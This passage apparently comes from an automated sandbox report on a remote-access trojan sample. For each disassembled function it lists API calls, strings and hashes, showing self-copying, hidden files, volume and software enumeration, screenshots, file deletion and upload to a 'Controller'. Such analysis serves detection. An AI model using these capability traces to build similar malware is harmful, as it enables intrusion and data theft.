                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00406511
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 00406522
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00406525
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 00406536
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00406539
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 0040654A
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 0040654D
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 0040655E
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00406561
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressHandleModuleProc
                                                                                                                                                                  • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                                                                                                                                                                  • API String ID: 1646373207-165202446
                                                                                                                                                                  • Opcode ID: 4215aa750f6926a1b4092da29332a0681cdff8c3ca49fe138229b5bb5280378e
                                                                                                                                                                  • Instruction ID: b313d74494c875c8407327c43f2905d2eb3972c2d2e01a1e2b33da4df8ba43a1
                                                                                                                                                                  • Opcode Fuzzy Hash: 4215aa750f6926a1b4092da29332a0681cdff8c3ca49fe138229b5bb5280378e
                                                                                                                                                                  • Instruction Fuzzy Hash: 1F011EA4E40B1675DB21677A7C54D176EAC9E502917190433B40AF22B1FEBCD410CD7D
                                                                                                                                                                  Function 0040BC67 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 203fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • _wcslen.LIBCMT ref: 0040BC75
                                                                                                                                                                  • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,00474358,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040BC8E
                                                                                                                                                                  • CopyFileW.KERNEL32 ref: 0040BD3E
                                                                                                                                                                  • _wcslen.LIBCMT ref: 0040BD54
                                                                                                                                                                  • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040BDDC
                                                                                                                                                                  • CopyFileW.KERNEL32 ref: 0040BDF2
                                                                                                                                                                  • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040BE31
                                                                                                                                                                  • _wcslen.LIBCMT ref: 0040BE34
                                                                                                                                                                  • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040BE4B
                                                                                                                                                                  • CloseHandle.KERNEL32 ref: 0040BE9B
                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,00000000,00465900,00465900,00000001), ref: 0040BEB9
                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0040BED0
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                                                                                                                                                                  • String ID: 6$C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$del$open$BG$BG
                                                                                                                                                                  • API String ID: 1579085052-1280438975
                                                                                                                                                                  • Opcode ID: 8a4e8abcb5692669c638f214cb972068405fdb8eb26e88a62148626bb00c57e2
                                                                                                                                                                  • Instruction ID: b3868b96a5a73c1b880f625a38b4c220dd420420d05b0a2cc1e840e3cd02b35d
                                                                                                                                                                  • Opcode Fuzzy Hash: 8a4e8abcb5692669c638f214cb972068405fdb8eb26e88a62148626bb00c57e2
                                                                                                                                                                  • Instruction Fuzzy Hash: D251B0212043406BD609B722EC52EBF77999F81719F10443FF985A66E2DF3CAD4582EE
                                                                                                                                                                  Function 0044E20E Relevance: 30.2, APIs: 16, Strings: 1, Instructions: 419COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free$EnvironmentVariable
                                                                                                                                                                  • String ID: 0OM
                                                                                                                                                                  • API String ID: 1464849758-2762363493
                                                                                                                                                                  • Opcode ID: f97f98dd34153332c2010fb65b1131a463ec8f76e6cba2d9c1c767644d430276
                                                                                                                                                                  • Instruction ID: 8ac3cd9939a067627e1c481289c57a7f9f94b657261427fab31af25724b0c78e
                                                                                                                                                                  • Opcode Fuzzy Hash: f97f98dd34153332c2010fb65b1131a463ec8f76e6cba2d9c1c767644d430276
                                                                                                                                                                  • Instruction Fuzzy Hash: 96D13C719007007FFB25AF7B9881A6F7BA4BF02314F0541AFF905A7381E63989418B9D
                                                                                                                                                                  Function 0041B1BB Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • lstrlenW.KERNEL32(?), ref: 0041B1D6
                                                                                                                                                                  • _memcmp.LIBVCRUNTIME ref: 0041B1EE
                                                                                                                                                                  • lstrlenW.KERNEL32(?), ref: 0041B207
                                                                                                                                                                  • FindFirstVolumeW.KERNEL32(?,00000104,?), ref: 0041B242
                                                                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041B255
                                                                                                                                                                  • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041B299
                                                                                                                                                                  • lstrcmpW.KERNEL32(?,?), ref: 0041B2B4
                                                                                                                                                                  • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041B2CC
                                                                                                                                                                  • _wcslen.LIBCMT ref: 0041B2DB
                                                                                                                                                                  • FindVolumeClose.KERNEL32(?), ref: 0041B2FB
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0041B313
                                                                                                                                                                  • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041B340
                                                                                                                                                                  • lstrcatW.KERNEL32(?,?), ref: 0041B359
                                                                                                                                                                  • lstrcpyW.KERNEL32(?,?), ref: 0041B368
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0041B370
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                                                                                                                                                                  • String ID: ?
                                                                                                                                                                  • API String ID: 3941738427-1684325040
                                                                                                                                                                  • Opcode ID: d489e3e95fd4da7a256b353d04e65c95c699bf3c253225e66008eb700c534145
                                                                                                                                                                  • Instruction ID: 2e0df54dd889987763cd5022c3700ac4418931210c184d5857636408485aa128
                                                                                                                                                                  • Opcode Fuzzy Hash: d489e3e95fd4da7a256b353d04e65c95c699bf3c253225e66008eb700c534145
                                                                                                                                                                  • Instruction Fuzzy Hash: 8B416F71508305AAD7209FA1EC8C9EBB7E8EB49715F00096BF541C2261EB78C98887D6
                                                                                                                                                                  Function 00411C81 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 479sleepfileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00411C9A
                                                                                                                                                                    • Part of subcall function 0041AB38: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,00403A40), ref: 0041AB5F
                                                                                                                                                                    • Part of subcall function 004176B6: CloseHandle.KERNEL32(00403AB9), ref: 004176CC
                                                                                                                                                                    • Part of subcall function 004176B6: CloseHandle.KERNEL32($SF), ref: 004176D5
                                                                                                                                                                  • Sleep.KERNEL32(0000000A,00465324), ref: 00411DEC
                                                                                                                                                                  • Sleep.KERNEL32(0000000A,00465324,00465324), ref: 00411E8E
                                                                                                                                                                  • Sleep.KERNEL32(0000000A,00465324,00465324,00465324), ref: 00411F30
                                                                                                                                                                  • DeleteFileW.KERNEL32(00000000,00465324,00465324,00465324), ref: 00411F91
                                                                                                                                                                  • DeleteFileW.KERNEL32(00000000,00465324,00465324,00465324), ref: 00411FC8
                                                                                                                                                                  • DeleteFileW.KERNEL32(00000000,00465324,00465324,00465324), ref: 00412004
                                                                                                                                                                  • Sleep.KERNEL32(000001F4,00465324,00465324,00465324), ref: 0041201E
                                                                                                                                                                  • Sleep.KERNEL32(00000064), ref: 00412060
                                                                                                                                                                    • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                                                                                                                                                                  • String ID: /stext "$HDG$HDG$>G$>G
                                                                                                                                                                  • API String ID: 1223786279-3931108886
                                                                                                                                                                  • Opcode ID: 36ecec2bd287229840889fa2f21ce4d309759ff1e99f2e4f361d0ee51ee9b760
                                                                                                                                                                  • Instruction ID: 1febf249a593eb43810efab42e14b6693ac358e03ba90545e56d33427da79e18
                                                                                                                                                                  • Opcode Fuzzy Hash: 36ecec2bd287229840889fa2f21ce4d309759ff1e99f2e4f361d0ee51ee9b760
                                                                                                                                                                  • Instruction Fuzzy Hash: 960243315083414AC325FB61D891AEFB7D5AFD4308F50493FF88A931E2EF785A49C69A
                                                                                                                                                                  Function 00413E37 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00413E86
                                                                                                                                                                  • LoadLibraryA.KERNEL32(?), ref: 00413EC8
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00413EE8
                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000), ref: 00413EEF
                                                                                                                                                                  • LoadLibraryA.KERNEL32(?), ref: 00413F27
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00413F39
                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000), ref: 00413F40
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,?), ref: 00413F4F
                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000), ref: 00413F66
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Library$AddressFreeProc$Load$DirectorySystem
                                                                                                                                                                  • String ID: \ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                                                                                                                                                                  • API String ID: 2490988753-744132762
                                                                                                                                                                  • Opcode ID: ba6e91efba9758633ea9bec27d31a254a4df24d425156724d9bfa6bc4db7eb59
                                                                                                                                                                  • Instruction ID: a4547f3d416e9253f7b1cbdd0907a67efdadb69b2b53743d1710677937ed8fa2
                                                                                                                                                                  • Opcode Fuzzy Hash: ba6e91efba9758633ea9bec27d31a254a4df24d425156724d9bfa6bc4db7eb59
                                                                                                                                                                  • Instruction Fuzzy Hash: 6D31C4B1906315A7D320AF25DC44ACBB7ECEF44745F400A2AF844D3201D778DA858AEE
                                                                                                                                                                  Function 0041B824 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041B846
                                                                                                                                                                  • RegEnumKeyExA.ADVAPI32 ref: 0041B88A
                                                                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 0041BB54
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseEnumOpen
                                                                                                                                                                  • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
                                                                                                                                                                  • API String ID: 1332880857-3714951968
                                                                                                                                                                  • Opcode ID: c129c5d3b2225b1f8cda05c9a3a6c18510288d4317852ec5d704d9b0c7986d58
                                                                                                                                                                  • Instruction ID: 4ca6cd9db44c7b11bab16217f2b7ba144dfc64e74838f3250c32f9e768a6938f
                                                                                                                                                                  • Opcode Fuzzy Hash: c129c5d3b2225b1f8cda05c9a3a6c18510288d4317852ec5d704d9b0c7986d58
                                                                                                                                                                  • Instruction Fuzzy Hash: 8C812E311082449BD324EB11DC51AEFB7E9FFD4314F10493FB58A921E1EF74AA49CA9A
                                                                                                                                                                  Function 0041CA9E Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 73windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041CAE9
                                                                                                                                                                  • GetCursorPos.USER32(?), ref: 0041CAF8
                                                                                                                                                                  • SetForegroundWindow.USER32(?), ref: 0041CB01
                                                                                                                                                                  • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041CB1B
                                                                                                                                                                  • Shell_NotifyIconA.SHELL32(00000002,00473B50), ref: 0041CB6C
                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0041CB74
                                                                                                                                                                  • CreatePopupMenu.USER32 ref: 0041CB7A
                                                                                                                                                                  • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041CB8F
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                                                                                                                                                                  • String ID: Close
                                                                                                                                                                  • API String ID: 1657328048-3535843008
                                                                                                                                                                  • Opcode ID: 17791859dac929b483a24ff72816a8478769eebc5405c417f6cbcdd658e3cffe
                                                                                                                                                                  • Instruction ID: a66ed96c0d91d71762f770de87d5f41dd37c70c4e97b210e23d221b2b7ccacbc
                                                                                                                                                                  • Opcode Fuzzy Hash: 17791859dac929b483a24ff72816a8478769eebc5405c417f6cbcdd658e3cffe
                                                                                                                                                                  • Instruction Fuzzy Hash: 68212B71188209FFDB064F64FD4EAAA3F65EB04342F044135B906D40B2D7B9EA90EB18
                                                                                                                                                                  Function 00444F3D Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free$Info
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2509303402-0
                                                                                                                                                                  • Opcode ID: 5c026963daf27b0c83cfaad4ae58de357a121220139847f84e929f94d8d568d7
                                                                                                                                                                  • Instruction ID: 0af7f9009007d8880989bd470fdb3e4a62bb8e65dbd2af1b74ff5c8893cb1db7
                                                                                                                                                                  • Opcode Fuzzy Hash: 5c026963daf27b0c83cfaad4ae58de357a121220139847f84e929f94d8d568d7
                                                                                                                                                                  • Instruction Fuzzy Hash: D0B18F71900605AFEF11DFA9C881BEEBBF4BF49304F14406EF855B7242DA79A8458B64
                                                                                                                                                                  Function 00407DEF Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 325fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00407F4C
                                                                                                                                                                  • GetFileSizeEx.KERNEL32(00000000,00000000), ref: 00407FC2
                                                                                                                                                                  • __aulldiv.LIBCMT ref: 00407FE9
                                                                                                                                                                  • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 0040810D
                                                                                                                                                                  • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408128
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00408200
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 0040821A
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00408256
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$CloseHandle$CreatePointerReadSize__aulldiv
                                                                                                                                                                  • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $>G
                                                                                                                                                                  • API String ID: 1884690901-3066803209
                                                                                                                                                                  • Opcode ID: 7205d9af98df91b965123a054d585fa7c0d52e82773df9d6c890248cdbc6b411
                                                                                                                                                                  • Instruction ID: 222450ca6543349723abdfa1177da379b39b5876d7444fbb960ea0ab75079841
                                                                                                                                                                  • Opcode Fuzzy Hash: 7205d9af98df91b965123a054d585fa7c0d52e82773df9d6c890248cdbc6b411
                                                                                                                                                                  • Instruction Fuzzy Hash: DAB191316083409BC214FB25C892AAFB7E5AFD4314F40492EF885632D2EF789945C79B
                                                                                                                                                                  Function 00409E48 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • Sleep.KERNEL32(00001388), ref: 00409E62
                                                                                                                                                                    • Part of subcall function 00409D97: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00409DCD
                                                                                                                                                                    • Part of subcall function 00409D97: GetFileSize.KERNEL32(00000000,00000000,?,?,?,00409E6F), ref: 00409DDC
                                                                                                                                                                    • Part of subcall function 00409D97: Sleep.KERNEL32(00002710,?,?,?,00409E6F), ref: 00409E09
                                                                                                                                                                    • Part of subcall function 00409D97: CloseHandle.KERNEL32(00000000), ref: 00409E10
                                                                                                                                                                  • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00409E9E
                                                                                                                                                                  • GetFileAttributesW.KERNEL32(00000000), ref: 00409EAF
                                                                                                                                                                  • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 00409EC6
                                                                                                                                                                  • PathFileExistsW.SHLWAPI(00000000), ref: 00409F40
                                                                                                                                                                    • Part of subcall function 0041B61A: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041B633
                                                                                                                                                                  • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00465900,00000000,00000000,00000000), ref: 0040A049
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                                                                                                                                                                  • String ID: @CG$@CG$XCG$XCG$xAG$xAG
                                                                                                                                                                  • API String ID: 3795512280-3163867910
                                                                                                                                                                  • Opcode ID: 859471ff5ae44976aba126b0bcf56bf0f182264686a8061ac70fe12e31261d66
                                                                                                                                                                  • Instruction ID: b7dfc09a395f5416f32c5fe597dbb364f69b6ed32616efff49b152d1c9b912f4
                                                                                                                                                                  • Opcode Fuzzy Hash: 859471ff5ae44976aba126b0bcf56bf0f182264686a8061ac70fe12e31261d66
                                                                                                                                                                  • Instruction Fuzzy Hash: 30518D716043005ACB05BB72D866ABF769AAFD1309F00053FF886B71E2DF3D9D44869A
                                                                                                                                                                  Function 0045006D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • ___free_lconv_mon.LIBCMT ref: 004500B1
                                                                                                                                                                    • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F300
                                                                                                                                                                    • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F312
                                                                                                                                                                    • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F324
                                                                                                                                                                    • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F336
                                                                                                                                                                    • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F348
                                                                                                                                                                    • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F35A
                                                                                                                                                                    • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F36C
                                                                                                                                                                    • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F37E
                                                                                                                                                                    • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F390
                                                                                                                                                                    • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F3A2
                                                                                                                                                                    • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F3B4
                                                                                                                                                                    • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F3C6
                                                                                                                                                                    • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F3D8
                                                                                                                                                                  • _free.LIBCMT ref: 004500A6
                                                                                                                                                                    • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000), ref: 00446ADB
                                                                                                                                                                    • Part of subcall function 00446AC5: GetLastError.KERNEL32(?,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?,?), ref: 00446AED
                                                                                                                                                                  • _free.LIBCMT ref: 004500C8
                                                                                                                                                                  • _free.LIBCMT ref: 004500DD
                                                                                                                                                                  • _free.LIBCMT ref: 004500E8
                                                                                                                                                                  • _free.LIBCMT ref: 0045010A
                                                                                                                                                                  • _free.LIBCMT ref: 0045011D
                                                                                                                                                                  • _free.LIBCMT ref: 0045012B
                                                                                                                                                                  • _free.LIBCMT ref: 00450136
                                                                                                                                                                  • _free.LIBCMT ref: 0045016E
                                                                                                                                                                  • _free.LIBCMT ref: 00450175
                                                                                                                                                                  • _free.LIBCMT ref: 00450192
                                                                                                                                                                  • _free.LIBCMT ref: 004501AA
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 161543041-0
                                                                                                                                                                  • Opcode ID: bcc467a133590e08c2246ffecdc9577bb20b6303625806e8b1892e2aaa35b24d
                                                                                                                                                                  • Instruction ID: 6df0fc8d0da410edbfddc8482cd9dc810a80ebbb5b2f86b8c24a0bb33e3d08c7
                                                                                                                                                                  • Opcode Fuzzy Hash: bcc467a133590e08c2246ffecdc9577bb20b6303625806e8b1892e2aaa35b24d
                                                                                                                                                                  • Instruction Fuzzy Hash: 96317235500B00AFEB20AA35D845B5B73E5AF42355F15841FF849E7292DF39AC98CB1A
                                                                                                                                                                  Function 00419128 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 174sleeptimeCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • __EH_prolog.LIBCMT ref: 0041912D
                                                                                                                                                                  • GdiplusStartup.GDIPLUS(00473AF0,?,00000000), ref: 0041915F
                                                                                                                                                                  • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 004191EB
                                                                                                                                                                  • Sleep.KERNEL32(000003E8), ref: 0041926D
                                                                                                                                                                  • GetLocalTime.KERNEL32(?), ref: 0041927C
                                                                                                                                                                  • Sleep.KERNEL32(00000000,00000018,00000000), ref: 00419365
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
                                                                                                                                                                  • String ID: XCG$XCG$XCG$time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i
                                                                                                                                                                  • API String ID: 489098229-65789007
                                                                                                                                                                  • Opcode ID: a40dca5e55645720ca30496181093a362b70aa5652279529810e28997b425322
                                                                                                                                                                  • Instruction ID: b922dce7c629cfc9b1bb11cb74a08c0e3353b39699bf4d86e46594d10c943285
                                                                                                                                                                  • Opcode Fuzzy Hash: a40dca5e55645720ca30496181093a362b70aa5652279529810e28997b425322
                                                                                                                                                                  • Instruction Fuzzy Hash: 33519F71A002449ACB14BBB5C856AFE7BA9AB55304F00407FF84AB71D2EF3C5E85C799
                                                                                                                                                                  Function 0040428C Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 147networkCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • connect.WS2_32(?,?,?), ref: 004042A5
                                                                                                                                                                  • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,?,?,0040192B), ref: 004043CB
                                                                                                                                                                  • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,?,?,0040192B), ref: 004043D5
                                                                                                                                                                  • WSAGetLastError.WS2_32(?,?,?,0040192B), ref: 004043E7
                                                                                                                                                                    • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CreateEvent$ErrorLastLocalTimeconnect
